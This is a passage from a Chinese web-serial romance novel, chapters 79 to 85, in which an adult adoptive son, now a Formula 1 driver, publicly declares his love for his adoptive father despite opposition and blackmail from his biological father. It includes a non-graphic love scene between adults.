基于这种思维逻辑,叶淮安再次甩了温言玉耳光,让他收拾东西赶紧滚蛋,而那个摄影师林江行舍不得他那相机,提醒温言玉:“这里面可都是好料,就这么不要了?” 温言玉差点踹他一脚,小声说:“先保命吧。” 叶淮安怒气十足地看着温言玉从苏廷的家里离开,半天都没缓过劲来,太阳穴突突个不停。 他用那种失望极了的口气对叶修明说:“站起来,给我站起来!” “谁允许你给他下跪了?” 苏廷已经把头埋起来,伸出胳膊找自己的衣物。 叶淮安是那种雷厉风行、说一不二的性格,看到亲生儿子竟然随意被人拿捏,一时间竟不知道怪谁了,所以他冲苏廷道:“你就把我儿子教成了个软蛋?” 叶修明刚要反驳,叶淮安就说:“我知道你是为了苏廷才下跪。” 他转向苏廷:“可你看到世人对你们的态度了吗?” 他从地上捡起照相机,向前翻着内存,照片里苏廷带着几分魅惑,用他完美的肌理勾住叶修明的臂膀,两人就像热恋中不分你我的情侣,爱意弥漫而出。 反正怎么都不像一个养父该对养子的态度。 “苏廷,我对你太失望了。” 叶修明:“有什么事情都冲我来!跟我小爸无关!” 叶淮安懒懒地看着他,说:“等轮到你,也有你的好果子吃。” “苏廷,”叶淮安不依不饶,“你知道如果别人看见这些照片会骂你什么吗?会骂你诱拐未成年,会骂你恋-童,会将无数的脏水都泼在你身上,你能看见这么一天吗?” 苏廷知道辩解是苍白的,就算他说一切都发生在成年之后,也一定会出现叶淮安嘴里的那种可能性。 “你救了叶修明的命,抚育他到成年,不代表你就能享受他成年后所带来的果实,你的一切善意的举动都会因为这些照片而成为有目的的。”叶淮安冷冷地说:“这道理不需要我再教你吧。” 他转过身来,对叶修明说:“你想回报一个人的养育之恩,就是用自己的身体?叶修明,这就是我从小教你的?” 叶修明摇了摇头,说:“你好像也没有教过我什么。” “是我疏于教育,才让你堕落至此。苏廷,修明,照相机我收着,你们的关系必须断,叶修明也必须从这个家搬走,不然我将不惜一切代价让你的养父声名扫地。” 门外的周叙白好像醒了,看见几个五大三粗的保镖差点同他们拼命。 “你们把苏廷怎么样了?!” 叶淮安不禁一乐,对着叶修明道:“你也不用担心等你走后苏廷会有多孤单,他才不会缺男人呢。” 周叙白费了九牛二虎之力挤进卧室,简直快被眼前的景象逼疯了,他揪着叶淮安的领子不放:“你知不知道苏廷最厌恶别人拍他裸-照了,你他妈还是要拍!” 苏廷温声说:“周叙白,这位是修明的父亲叶淮安,照片不是他拍的。” 周叙白一时间脑子也懵了,想了半天才道:“是你把郑力送进去的……是你知道了修明取信托才知道郑力并没有扣押着他……” 是因为西郊的项目,才牵一发动全身地让叶淮安站在这里,对他们的感情致以最强烈的反对。 叶淮安点头:“不错,你果然是苏廷最得力的干将,可是聪明如你,怎么会放任他们的感情呢?” 周叙白反驳:“我一开始也和你一样想不开,觉得天都要塌了,而且这还是在我确实也喜欢苏廷的基础上。但是……感情就是感情,它不受控,难以阻挠,终将如野火般蔓延,这世上两个人相爱的概率到底有多小?你知道吗?” 叶淮安不可思议地看着叶修明:“你爱他?” 叶修明“嗯”了一声。 叶淮安转向苏廷,“你也爱他?” 苏廷以不可遏制的冲动说:“对,我爱修明,就算身败名裂也不怕。” 叶淮安从没见过如此动人的爱情,自己也不曾经历过,叶修明母亲的狂轰滥炸也不算,所以他冷冰的心无法直观地感知爱。 他似乎一直被爱隔绝着。 周叙白似乎也没料到他们能这么顺畅地认爱,哆嗦道:“你俩睡过了?” 叶修明:“没有。” 周叙白心想完了,没睡就能要死要活到这种地步,要真让那小子得逞,到底会是什么景象啊。 第80章 叶淮安把叶修明带走了。 苏廷满脸恹恹地靠在床头,连衣服也不管不顾了。周叙白替他找了个白色衬衣披在他身上,柔声说:“穿上吧,天亮了,公司还有一堆事情要去处理。” 苏廷说:“西郊、公司、医院的那些人……我都不想管了。” 周叙白半开着玩笑:“那我可想干什么就干什么了。” “你把扉合收入囊中,我也不会说个不字。”苏廷有些怅然:“一切都好像没什么意义了。” 周叙白不忍看他这么堕落,说:“温言玉的阴谋已经暴露,癌症患者的事情已经能够破局;西郊有小叶子的两个亿,也能顺利进行下去。现在还远远没到说丧气话的时候。” 苏廷抬眼看他:“你知道我在说什么没意义。” “以前我怎么没发现你也是个感情用事的人。”周叙白动手给他套上衬衣,“你不是最冷情冷性的吗,小叶子的功力就那么大。” 苏廷细数着与叶修明重逢后的每件事情,承认叶修明的确是自己的肾上腺素,每个有他的瞬间都充满着不确定性和未知。 这感觉几乎让人着迷。 可就如叶淮安所述,就是他养育叶修明的这段历程,才让享受他的成年变得那么地不切实际。 一切不过是水中月、镜中花罢了。 “被拍那几张照片并没让我产生不好的回忆,但他把修明带走,却是灾难。” “那我报警吧!”周叙白傻里傻气地说。 “那是他的亲生父亲,是真正和他有血缘关系的人,就算他要亲自选一边,也会选血浓于水的父亲。周叙白,我想出去透口气,帮我看好扉合。” 周叙白知道自己又要惨兮兮地替他看家了,无奈道:“你这次想去哪里。” “只要不是金城,哪里都行。” 苏廷送给叶修明成年的第一个礼物,还是离别。 叶修明看着始终无法接通的电话,和那个空落落的对话框,愤恁的心全都到了嘴边,也没给叶淮安好脸色。 叶淮安给他亲自下厨之后,叶修明的心才稍微软了一些,想起十一岁之前的童年,终究还是哽咽了。 “你好像从来没有给我做过一次饭。” “以前生意太忙,疏忽了你,是爸爸的不对。”叶淮安端着清蒸鲈鱼,放在餐桌的正中央,说:“保姆以前说你最喜欢吃这道菜,所以你才这么聪明。” 叶修明点了点头,又摇了摇头,“其实我不喜欢鱼的味道,保姆是为了偷懒而已。爸,你也有让人骗的时候。” “你恨爸爸吗?把你扔在马路上,头也不回地就走了。” 叶修明想了想其中的因果,说:“如果你不扔掉我,我也不会遇见苏廷,所以我恨你干什么呢?” “他是你的养父,能发展成现在的关系,他的责任更大,更不要脸,所以,我恨我自己。” 叶修明便不再说话了,用筷子夹着菜,默不作声地跟叶淮安吃了顿饭。 本该享受重逢的喜悦,却让现实打了一记耳光。 “你把我们拆散,确实应该恨自己。”叶修明想到叶淮安手里的终极武器——照片,本想延展发挥一下自己的痛恨,无奈还是放弃了,可他想去看看苏廷,确认他还无恙,开口道:“我想出去。” “郑力有些余党还没有清除,现在还不太平,孩子,你能理解爸爸的对吗。” “我不怕死。”叶修明浑身是胆地道,“我从十一岁开始就没怕过死!” “可是爸爸再也不能失去你了。”叶淮安咽着苦涩的泪水,被一股陌生的寒意侵身,“你等我把他们都收拾干净,再出去也不迟,如果真想出去,我可以把你秘密送到国外。” 叶修明斜睨着叶淮安,跟裴安确定他的位置后,就自己定了去伦敦的机票。 走之前,他对着叶淮安密密麻麻的安防笑得忘乎所以,把自己扔在路边,果然是这么怕死的他做得出来的。 可时间不会再倒转了。 叶淮安需要为他的选择付出代价。 这次再碰见裴安,叶修明终于接受了车队经理的提议,与裴安他们一起展开训练。 他开着他们车队的标准赛车在银石跑道快速过弯,驾驶风格极其平滑,几乎感觉不到多余的转向或挣扎,速度却令人瞠目结舌,似乎永远在探索赛车的极限。从稳定性来说,叶修明也比裴安要更好,这得益于他强悍的意志和绝对专注力。 车感是个很虚无缥缈的东西,但是叶修明那极具辨识度的驾驶风格,的确比裴安更好。 F1的席位只有二十个,也有过赛季中途换人的先例,通常是给新人首秀的机会,车队高层研判了二人的不同风格后,几乎毫不犹豫地向叶修明倾倒,并很快向FIA*提交了变更申请。 这样,下一站米兰,将是叶修明代表Alpine车队的首秀。 裴安像是叶修明肚子里的蛔虫,深夜,两人对瓶吹的时候他问道:“把我顶替下去,一定没那么简单吧,你想对着采访说什么。” 叶修明碰了他的瓶,“到时候你就知道了。” “把我挤走,你就不怕我不高兴吗。”裴安问道。 “你是我最好的朋友,也基本上猜到了我要当着别人的面说什么,所以……你不会不高兴。”叶修明半醉地躺在地上,望着无垠的星空,“我已经十天联系不上他了,天知道我有多想他。” 他还穿着车服,侧身而躺的时候多有不舒服,可他因为失去苏廷而空虚的内里,早已顾不上这些。 他只想让米兰站快一点,再快一点。 几天后,米兰,蒙扎国家赛道,这里是赛车的圣殿,也是F1历史的一部分,拥有多条长长的全油门路段,赛车在这里能达到全年最高的极速。 这里是法拉利和意大利车迷的主场,比赛周末人山人海,氛围极其狂热。 叶修明与他的机械猛兽在格子里低声嘶吼,享受着最后的寂静,然后五盏红灯依次亮起,在全世界都屏住呼吸后,瞬间熄灭。 引擎的咆哮瞬间汇成撕破空气的音墙,赛车如同离弦之箭弹射而出。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 这是一场时速三百公里的贴身肉搏,车辆在每个转弯都挤作一团,火花四溅。这场看似汹涌的机械间的争斗,在进站站房却有着别样的景象。他们以秒为单位,迅速换上车胎,像手术团队一样勠力协作,任何微小的失误都可能断送整场的努力。 叶修明在赛段的尾声与强大的离心力做抗争,体力逼近了极限,汗水也几乎打湿了赛车服,但他面容专注地注视着终点的格子旗,与引擎一起进行着最后的狂欢—— 他已把第二名远远抛在身后。 在F1的二十个席位上出现华裔,已是破天荒的事情,更不用说他还即将获得分站冠军,观众席上的人全都沸腾了,共同翘首以盼,等待这位新人刷新记录。 苏廷在距离米兰几百公里外的罗马。 这天是周末,广场上的大屏正在播放F1是实况转播,聚集了很多体育迷,人们手拿啤酒,兴致勃然地讨论有位华裔即将夺冠的事情,他们的语气中带着肯定:“这位小子一定付出了比别人更多的努力!” 苏廷突然有种异样的感觉涌上心头,停下脚步,找了个椅子坐下,看着正前方的大屏。 当他看见排位第一的叫“XiumingYe”的时候,内里是翻江倒海地难以描述,恐惧也在暗中抓紧了他的心,让他呼吸不得,动弹不得。 他以前反对叶修明玩赛车的理由全都回来了—— 看看那些无意间撞上围栏的车吧,碳纤维和火花四处飞溅,令人窒息。 再过一个弯道和直道后,比赛才能见分晓。 在结果诞生之前,一切皆有可能。 然而就在那条直道上,叶修明的瞬时速度达到了惊人的370公里,这下连广场上的观众都沸腾了,“只要保持不被超越就能保证第一,他现在这样就不怕车子解体吗?” 毕竟之前就发生过维伦纽夫的360公里解体事件,堪称惨痛。 苏廷听得懂意大利语,所以他的心都要爆炸了! 那震耳欲聋的、撕裂空气的尖啸声,那摄人心脾的音爆声,全都昭示着这场比赛的激烈和残酷,简直让人心跳骤停! 别跑了,修明。 苏廷在心中打着鼓说。 就在他不敢看大屏的那一瞬,叶修明驾驶的红色赛车已经贴地撞旗,打破了多项记录。广场上顿时发出庆祝的轰鸣,纷纷表示这位华人小子简直太带劲了。 天知道这中间苏廷死了多少个心细胞,刚想抱着那些法棍回酒店的,就听见了采访预告:“一会儿我们将采访这位首得第一的华裔车手,别走开!” 苏廷突然有些紧张。 他已经半个多月没见过叶修明了。 明明这场采访叶修明不会看到苏廷,可苏廷却在担心自己的头发有没有乱,穿得算不算邋遢,一连串疯狂却毫无意义的想打逐一闪现,让他下意识地调整着脊背和坐姿,想要以更加完美的自己迎接这场采访。 广场上的人并没散去多少,似乎也想听听这位东方面孔即将说什么。 后来,叶修明从车中跳了出来,与车队的工作人员击掌庆贺,他脱去安全帽,在赛道工作人员的指引下,来到采访专区。 在暴烈的日光下,叶修明那极具冲击力的面部轮廓显得更有张力,眼神中有着一种令人畏惧的气质。 他用熟练的英文说了声:“我叫叶修明,来自Alpine车队,这是我的首秀,可能也会是最后一场。” 主持人惊讶道:“为什么是最后一场,我的意思是,你的成绩非常地棒,就这么放弃不算可惜吗?” 叶修明道:“因为我的养父觉得赛车太危险,这会让他浑身不适。” 主持人“啊”了一声,看了眼镜头,还是不可思议地说:“你会为了养父的一句话就放弃这么伟大的事业吗?” 叶修明点了点头,“当然!” “那这位养父,一定是对你很重要的人。” 苏廷心说了一声不好,冷汗直流,就听叶修明说出了令世人嗟叹的话:“我的养父也是我喜欢的人,为了他我愿意做任何事情,不惜一切代价。” 渐渐地,苏廷已经听不到他在说什么了,只看见广场上的人发出一声又一声的尖吼。 养父就是情人?他们好像没见过如此炸裂的事情。 主持人瞪着大眼,似乎有些不好接话了,隔了许久才说:“如果我没有理解错,你的养父,那个养育你的人,恰恰是你喜欢的。” “他在十一岁捡了我,之后由于我被人诬陷,养父与我分开了五年时间,爱上他是五年之后的事情,所以这应该也算不上什么惊天动地的事情吧。” 主持人的神色稍缓,“那你有什么话想对他说吗?” 苏廷隔着屏幕与叶修明对视。 半个月,像半个世纪那么漫长。 叶修明用中文道:“我们的爱没那么不堪入目,人们也有更重要的事去做,苏廷,我爱你,记得回我的消息。” 果然。 叶修明闹出这么大的阵仗,只是为了让自己回他的电话而已。 这个疯子。 比起国外观众的淡定,国内网络上的讨论度则到了让人难以忽视的程度。 有人对这段禁忌恋瞠目结舌,觉得叶修明不该堂而皇之地公开示爱。 还有人觉得他勇者无畏,人这辈子总得为爱情做点什么。 【可是那是他的养父啊,人怎么可以爱上养父呢?我请问】 【叶修明跟他养父五年没见,养父子关系存续的时间最多只有一年多,作为一个成年人,怎么就不能爱了】 【这个苏廷,是不是当年泄露艳照的那个人啊】 【是他啊,他确定没有勾引自己的养子吗?我们谁都不是当事人,谁能说得清呢?】 【如果真的勾引的话,那就是另外的故事了,我将唾弃这一对】 由于讨论的事情太过炸裂,这条#国内F1车手认爱养父#的词条很快就被炸了,再也搜寻不到。 欧式田园内,叶淮安弓着身子给园圃浇水,笑道:“修明小时候最喜欢开着他的卡丁车在这个园子里跑了。” “可是他为什么非要想不开呢。” 第82章 米兰的某酒店内,裴安正趴在床上,默默看着正在打包行李的叶修明,然后突然想到,今年是他们相识的第七年,这七年叶修明想他所不曾想,做他之不能做,似乎总是技高一筹。 但自己从来没有妒忌的感觉。 叶修明今天在赛道飞驰的时候,他激动得心脏都要蹦出来了,只求叶修明能安然落地。而当他的成绩超过自己的时候,车队经理瞥了自己一眼,还问:“你没事吧。” 裴安笑脸相迎:“我为什么要有事,那是我好兄弟。” “能为好兄弟牺牲到这个份上,我可从没见过。” 裴安笑着让他住嘴,却在酒店房间里,看叶修明打包时悲咽道:“你能不能别走。” 其实叶修明还是没有联系上苏廷,但他总不能一直待在米兰,要行动起来,才有机会遇见苏廷。 “怎么连你也要发疯,我去哪关你什么事?”叶修明放下几个卫衣到箱子里,走到卫浴间拿洗漱包的时候,揉了裴安的脑袋一把。 “你有没有看到网上大家的舆论,这次你把苏小爸再次推到了风口浪尖上,他能高兴吗。”裴安终于说了重点,这几天他一直观察网上的动向,关于能否与养父发展成恋人关系的讨论,热度只增不减。 苏廷的特殊身份,也让争议向不可控的方向发展。 “那我就用下半辈子,让他高兴起来。”叶修明鬼使神差地说,人仿佛进入另一种境界。 这回裴安不高兴了,说:“有时候我觉得你根本都不重视我。” 叶修明:“这回的奖金据说是天价,我都给你,算重视了吧。” “你怎么不当着那么多人的面对我说两句话呢。”裴安道。 叶修明给了他一个“就你?”的眼神,便继续试着给苏廷打电话。 这回通了。 叶修明的心跳如鼓,太吵了差点听不见自己的声音,当他“喂”了一声之后,就是漫长的沉默。 叶修明替他撕开沉默,说:“小爸,你知道我被你抛弃的那五年,每天都是怎么过来的吗?我告诉你,就像现在一样。” “我每天眼巴巴地等着你跟我说句话,告诉我一切都过去了,告诉我你原谅我了,可你没有,还把我扔在了地狱里。” “五年……你知道五年有多长吗?你知道我有多恨你吗?这次你难道还要躲我五年吗?” 说着说着,裴安就看见叶修明的眼尾泛了红,眼泪扑簌簌地流了下来,一拳打在墙上,擦出一道血痕。 许是过去的回忆一下子将他侵蚀,叶修明现在那个更加丰盈灵魂像被抽离,变得更像当初那个无助的小孩,抱着腿艰难地坐在地上。 这场面连裴安都心疼了,也陪他坐在对面,等着苏廷或残忍或仁慈的宣判。 苏廷的喘息声沿着电话传导出来,他似乎被震动了,隔了一会儿,才用平复心情后的声音说:“都过去了修明。” 叶修明激动地攥紧了拳头,不可思议地向他一遍遍询问。 “真的吗?” “现在意味着什么。” “你能见我了吗。” 苏廷说:“明天中午,我在罗马做芝士洋蓟最好吃的饭店等你。” 没想到他离自己这么近…… 苏廷破天荒地说:“修明,你开得很好,天生就适合在赛道上,我不该当你的绊脚石。” “你看了比赛……那也看了采访?”叶修明惊喜道,“你有什么想对我说的。” 他是指能不能应下那句“我爱你”,也让气氛骤然变得紧张起来。 苏廷绷紧了定力,说:“先到罗马。” 至于是哪家店,着实难住了叶修明,他在打车到罗马的路上,翻看着各种攻略,终于把视线聚焦在两家店上,一家在犹太区,洋蓟以酥脆著名,常常要提前数月预定;另一家在特拉斯泰韦雷区的中心广场附近,是家网红餐厅,火爆到永远在排队。 到底是哪一家呢? 叶修明转而在地图上翻看这两家饭店周围有什么,很快他的眉眼就弯了起来,指着地图上的圣玛利亚广场说,“去那里。” 他到得早,清晨就到达罗马的街头。 初升的太阳以一种低角度、柔和而温暖的光线照射着古迹,为大理石雕塑和赭石色的墙壁披上了一种近乎神圣的滤镜。 叶修明的脚步声在路面上发出清晰的回响,这种宁静在罗马也是非常奢侈的。 中途,裴安的电话拨了进来,劝他去犹太区的那家,“我问了车队的同事,那家是去罗马必打卡的,所以不可能在特拉斯泰韦雷区,你在那傻站着只能等来鸟屎。” “小爸一定来这,我敢打赌。” “赌什么?” 叶修明:“就赌我和他的感情,赢了,就能天长地久,输了,就输了。” 裴安沉默了。 “你个傻逼。”他说。 叶修明不置可否地笑了笑,继续倚靠在店门口等待开门。 许是没见过这么早就在排队的食客,有人投以惊讶的目光,叶修明都友好地笑了笑。 等这间店开门,叶修明终于提着行李箱走了进去,给自己点了杯意式浓缩,靠窗而坐。 苏廷正在酒店给自己搭配衣服,他在“正式”和“休闲”里,找了个折中的位置,让自己穿得不算那么古板,但却是精心准备的。 当他迈出第一步时,下意识地用衣领挡住了脸。 之前竟然有人在罗马的大街上认出他是艳照的主人,把他吓得魂都快丢了。 想必是叶修明那场影响力极高的F1赛事的缘故。 可他当时并没有胆怯,觉得是他自己做错了事,而是抱以微笑,似乎在说“那就是我,我并不否认,也并不为之耻辱”。 后来他算了算,那是他第一次为这件事感到释然和不屑一顾。 可他还是不想在街上再被人认出来。 酒店距离目的地并不远,步行也就十分钟的距离,当他刚刚踏上台阶时,心跳就不可抑制地快速跳动起来。 如果叶修明没有找到这家饭店,那岂不显得有点多余。 好在当苏廷向里一扫时,看到了那个熟悉的黑色背影,心里顿时安静下来,他给服务生说了句意大利语,就踱步到叶修明这桌。 苏廷拿起桌上的菜单挡着脸,说:“叶先生,你也在等人吗。” 第83章 还在发呆的“叶先生”忽然心率急剧飙升,有些局促地转过头去。 “小爸。” 被这声“小爸”打得措手不及的苏廷抑郁难申,心想都什么时候了,还“小爸”呢,接下来的事他真的好做吗。 就在他嗔视着叶修明的时候,身体被一股巨大的冲击力所包围,一个温暖而甜腻的拥抱转圜了所有。 叶修明的指尖在苏廷的后颈处停留,不住地摩挲,这时他清越的声音响起:“其实比起洋蓟,我还有更想吃的,小爸。” 苏廷的脸几乎立刻涨红,在叶修明的腰间掐了一把,道:“不吃饭哪有力气。” 叶修明说:“你太低估一个刚成年的男人了。” 他除了力气什么都没有。 这是一幅赏心悦目的画面,服务生和客人纷纷侧目,投以艳羡的目光。 叶修明再次向他询问:“我们真要把时间浪费在吃饭上吗。” 苏廷:“你吃不饱,你的养父会伤心的。” 叶修明这才放弃挣扎。 苏廷埋头看着菜单,一边问:“你怎么猜出是这家的。” “因为圣玛利亚广场周围的小巷子里有很多酒吧,嗜酒如命的某人一定会把大本营安在这里。” “还算聪明,不知道学东西快不快。” 叶修明:“只要你肯教,我一定努力去学。” 苏廷微蹙着眉头:“你能听出来我一直在讲话外之音吗。” “能,”叶修明早就与苏廷呼吸相通,“你很像个惯犯。” “只有对你才这样,以前我可没这种经历。”苏廷老老实实地说,他把点的单交给服务生后,专注而热切地看着叶修明:“过了今天,我们就走不了回头路了,你真的敢做吗。” 叶修明:“敢。” “你真的敢跟养育你的父亲做-爱吗。”他重复一遍。 叶修明一滞,抓起他的手道:“怎么说的好像我要把叶淮安给办了。” “苏廷,那你害不害怕。” 苏廷愣了愣,显然没有做好被直呼其名的准备,他想了想自己这悲催的前半生,心中被苦涩和怨愤充斥着,拨开那些背叛和伤害,是叶修明给自己带来的仅有的快乐。 当他想把这快乐升级的时候,害怕吗? 苏廷说:“我更怕你离开。” 叶修明有些苦涩地看了苏廷一眼,“就算你不让我碰,我也不会离开你的。” 苏廷开玩笑道:“那你就别碰了。” 叶修明做出被一把剑扎心的动作,随即亲了亲苏廷的脸颊,“这回我不会让你再跑掉了。”他装作不经意地开口:“酒店离这里多久。” 苏廷:“走路十分钟。” “十分钟啊,这么久,撑不到那里怎么办。” 叶修明用死乞白赖的音调说。 “那也不能在大街上发疯,这里虽然是国外,但也不是法外之地。” 叶修明随即就拿起手机,上网搜寻着,苏廷不解,问他在干什么,叶修明说:“我在查距离这里最近的酒店。” 苏廷的脸色氤氲着绯红,小声说:“你以为我没查吗,就是这家。” 叶修明吹了个口哨,“那可惜了。” 服务生把苏廷盲选的套餐端了上来,叶修明一看就乐了,说:“这也没洋蓟啊,小爸。” “别废话,”苏廷的心思早已不在“吃”上,给叶修明倒了点酒,给自己倒得更多,他举起酒杯说:“修明,跟我碰三杯。” 叶修明有些困惑,但还是照做了,只听苏廷道:“古人结婚,都要喝合卺酒,寓意夫妻二人同甘共苦、患难与共,但合卺酒是苦的,我们的是甜的,以后不论好的坏的,希望等你回忆起来,都是甜。” 柔软的心被深深地触动,那三杯喝得缠绵无尽,叶修明的眼睫有些濡湿了,声音时断时续:“要是……你影响我发挥,到时候可……不能怪我。” “你第一次,我可没指望太多,这也算给你找借口了。” 叶修明不禁顽劣地一笑。 苏廷诧道:“难道不是第一次?” 叶修明笑了一下,坐到苏廷的旁边,捏了捏他的下巴,再送到自己面前,轻轻吻了吻他的嘴角,专注地看着他道:“我这辈子都只有你。” 少年的心性说变就变,如风般来无影去无踪,苏廷也没真把这句话当回事,他也在心里问过自己,迎合叶修明的一时冲动到底对不对,可他最后才发觉,执着于很多年后的事情是件愚蠢的行为,他只有自己先开心了,才能在漫长的岁月里,对得起自己。 所以一辈子太远了,他只要今天。 然而不知道是不是触了什么霉头,有两个保镖身形的华裔走到他们这桌,敲了下桌子,对着叶修明异样的眼神说:“叶少,这地方真是让人好找啊。” “你们是谁。” “叶总让我带你回家相亲。” 苏廷的心思全写在脸上,是愿望再次落空时的沮丧,好在叶修明不打算妥协,给了苏廷一个眼神后,就抓住他的手飞也似的冲出饭店。 服务生以为他们逃单,便把两个壮汉拦住给他们结单,这样就留给他们更多的逃跑的时间。 在小巷里飞速穿行的二人相视一笑,颇有种亡命鸳鸯的感觉。 天光簌簌地从头顶掠过,四周是被惊扰到的路人,却是他们的花月良辰。 没甩干净的那两名华裔迅速赶了上来,苏廷对这片区域再熟悉不过,折返了一小段路后,闪身进入了更为逼仄的巷子,他飞快地向后看了叶修明一眼,两人再次抓紧了手,变得不可分割。 苏廷心想,他再也不可能放过叶修明。 就算他真对自己厌了、弃了,也要拿出养父的那套威严,让他永不离开。 当他还在自我解郁的时候,很快就来到酒店的正门,苏廷快速按下电梯,进去后很快刷了房卡,到自己的楼层,叶修明看出他比自己还心急,便在电梯内耐心地亲他,让他平缓下来。 苏廷的热情超出了叶修明的想象,主动勾着自己的舌尖,也在某种程度上发了张隐秘的邀请函。 他从快速喘息中停下来,问苏廷:“你喝得够不够多。” 潜台词:别又中途后悔。 苏廷道:“够你上我两次。” 第84章 他们不知道那两个华裔会跟到什么程度,因此所有的步骤都显得急躁和失序。 甚至连澡都没洗。 地上散落着两人从进门就开始脱落的衣物,杂乱无章,卧室发出瓶盖打开时的声响,苏廷的眼神顿时开始迷离。 窗外的信号灯每隔几秒扫过房间,一道绿光掠过时,映出他紧蹙的眉弓的剪影,旋即又没入黑暗,只留下一声压抑的喘-息。 叶修明欺身压着早就视线脱缰的苏廷,能感受得出苏廷此时竟然有些紧张。 也难怪,裴星遥没跟他走到“最后一步”,上一个这么做的人还是十年之前,于苏廷而言,今天堪比初-夜。 所以他不住地安抚苏廷,柔声说:“不要紧张,有我呢。” 苏廷晃动着发麻的四肢,扭动着腰肢与叶修明相吻合,用他稚拙的行动告诉叶修明,他不是紧张,只是不大熟练而已。 叶修明深深地吻了下去。 当他向下移动,却被苏廷带了上来。 这种事没有叶修明他自己也能做。 但有件事只有叶修明才能做。 两人的步调终于到达了一致,叶修明将他正了正位置,笑着问苏廷:“还记得你拿着一堆这东西给我上课时的样子吗?” 苏廷红着脸:“记得。” “当时你真可爱。” …… 苏廷想起顾见清在的那个夜晚,自己晾着他不管,势必要知道叶修明和裴安的关系。 也许某种萌芽已在那时发起。 然后在漫长的季节更迭里变得悄然生动。 自己离不开叶修明。 叶修明也像这样离不开自己。 正想着,苏廷的手被倏地贴在墙上,覆着的手掌嫩白如雪,只有指尖是粉红色的,当他还在迟疑,另一只手也被他的蛮力贴在墙上。 浴室的门虚掩着,氤氲的水汽从门缝里丝丝缕缕地溢出。 磨砂玻璃上凝结了细密的水珠,缓缓地、蜿蜒地滑下,划出一道道曲折透明的痕迹,映出里面朦胧晃动的、暖黄色的光晕。 世界收缩成他瞳孔里一片深不见底的海,而他正在其中沉溺,脸上是缺氧般的迷醉与晕眩。 那浴室的瓷砖,竟被自己勾出了划痕。 苏廷面对着叶修明,大笑了好几声,像是有些醉,有些疯。 这让叶修明有了一丝怅惘,说:“小爸,你到底是不是清醒的,会不会醒来以后又不认了。” 苏廷软绵绵地挂在了叶修明的身上,“我在感叹年轻人体力好而已。” 叶修明:“那不管哪个年轻人都可以睡你吗。” 苏廷刮了下他的鼻尖:“你这醋吃的。” “回答我。” “只有你,修明。”苏廷情不自禁地亲吻他,不老实的手乱动着。 “只能是你。” “叶修明。” 叶修明眼神散漫失焦地凝望着他,一瞬间都忘记叶淮安的极力反对,就连现在都有人在外面等着他们,斩断情缘。 “小爸,如果你有一天累了,可以告诉我。” 苏廷哑然看着他,知道他什么意思。 “但是我们从今天起就没有退路了。” 苏廷说。 他拍了拍叶修明的脸,说:“别想了,天塌了就任它塌。” “谁让我也喜欢你呢。”他说。 果然,几分钟后,那两名华裔终于通过某种途径找到了苏廷的房间,哐哐哐地开始砸门,引来走廊上的围观。 有人用英文说:“再砸我就报警了。” 华裔道:“家庭琐事,警察就算来了也没用。” 这话说得有几分道理,叶修明就算躲得了一时,也躲不了一世,该面对的总要去面对。简短的温存过后,叶修明就去开了门,那两名男子看了下屋子里的盛况,知道木已成舟,顿时有种任务没完成的失落感。 但人他们还是要带回去的。 叶修明主动道:“叶淮安让你们给我订的哪个航班?” “两个小时后。” 他看了苏廷一眼,苏廷给了他一个“放心”的眼神,就任由他们把叶修明带走,随后他也买了同一航班,决定一直跟着他们。 十几个小时的飞行后,疲惫的叶修明被带到一场宴席,这是叶淮安向各位亲朋、政要表明自己已经找到儿子的接风宴,也是他迟来的成人礼。 叶修明不仅是叶家刚找回来的小儿子,还是F1赛事一颗冉冉的新星,人也长得英俊帅气,自然成了人群中的焦点。 苏廷站在这栋建筑的外面,看着一大家子其乐融融,而自己就像是那个多余的毒瘤,永远融不进去。 不由得心里一阵抽痛。 叶淮安把叶修明安置在自己的右侧,不少家族里的人过来祝贺,当然还有那个被传了无数遍、即将嫁入叶家的女孩萧叶声,她聘聘婷婷,大方婉约,称得上一个大家闺秀的名号。 “叶声的名字里也有‘叶’,这是多么难得的缘分啊。”叶淮安笑着说,似乎对这个准儿媳相当满意。 “那我堂妹们不是更般配。”叶修明往嘴里送着酒,不留情面地说。 萧叶声的态度晦暗不明,只是随着叶淮安的节奏在后边安静地敬酒。 叶修明心里别提多堵了。 可他想了想,这是叶家的家宴,跟他一个在外漂泊近十年的人有什么关系?他大可以立刻离开这里。 于是他也这样做了,给在座的好好上了一课,他敲了敲杯口,说:“我想大家都看到了我在赛后的那场采访,也知道苏廷和我什么关系。”他转向叶淮安:“别想拆散我们。” 在坐的出现小范围的窸窣声。 “什么?他真跟他养父好了?” “阿弥陀佛啊,真是造孽。” “叶兄怕是心里难受死了。” 当他在众人惊愕的眼神中退场后,那个叫萧叶声的女孩也追了上来,距离苏廷只有几步之远。 叶修明看了她一眼,冷漠道:“你也知道我什么态度了,早点回去吧,没人能为你的幸福负责,但是你可以。” 萧叶声拽着被风拂过的裙摆,发丝凌乱地吹在脸颊,让她多了几分婉约的气质,她说:“其实我知道你和苏廷的故事,我也很羡慕你能在那么多人面前说出自己的所爱。但是你现在还年轻,刚刚十八岁,能保证今后漫长的人生里,面对比自己更快衰老的面孔,能够一如既往地爱他吗。” “你想说什么?” 第85章 “我想说的是,如果你能毫不犹豫地说出‘会爱一辈子’,那只能表示你并没有认真思考过这个问题。他比你不是大五岁、十岁,而是十六岁,当你三十岁正值壮年,苏廷已经快五十岁了,你真的确定吗?” 苏廷闻言,心中一震。 叶修明毫不踟蹰:“他是我这辈子最爱的人,你却想用年龄来拆散我们。” “可这个问题是客观存在的,难道你想否认吗。”萧叶声说,字字都戳在苏廷的心口上。 “还有,你在叶家最脆弱的时候,让整个家族都站在了风口浪尖上,你在采访时说出那样的话,知不知道叶叔叔差点连心脏病都犯了。今天到的这些人,大部分都是等着看叶家笑话的,所以你真的在乎过别人的看法吗。” 那位萧叶声越讲越激动,连他们家的私密事都知道:“为了那个人的烂尾项目,竟然把信托都败光了,还触发了隐藏条款,这件事也只有你才能做得出来。叶修明,只有跟我结婚,你才有叶家的继承权,你记住了吗。” 叶修明真的后悔自己的绅士风度竟换来她的这么多废话。 他也不知道,在暗无天日的地方,苏廷来了又走。 时值萧瑟的晚秋,凄沉的月光下,苏廷连影子都是落寞的。 他结结实实地冷落了叶修明一段时间。 这段时间,叶修明哪也去不了,说是躲外面的大风大浪,其实谁都知道他是被软禁了。叶淮安找他谈过几次话,每次都不欢而散。 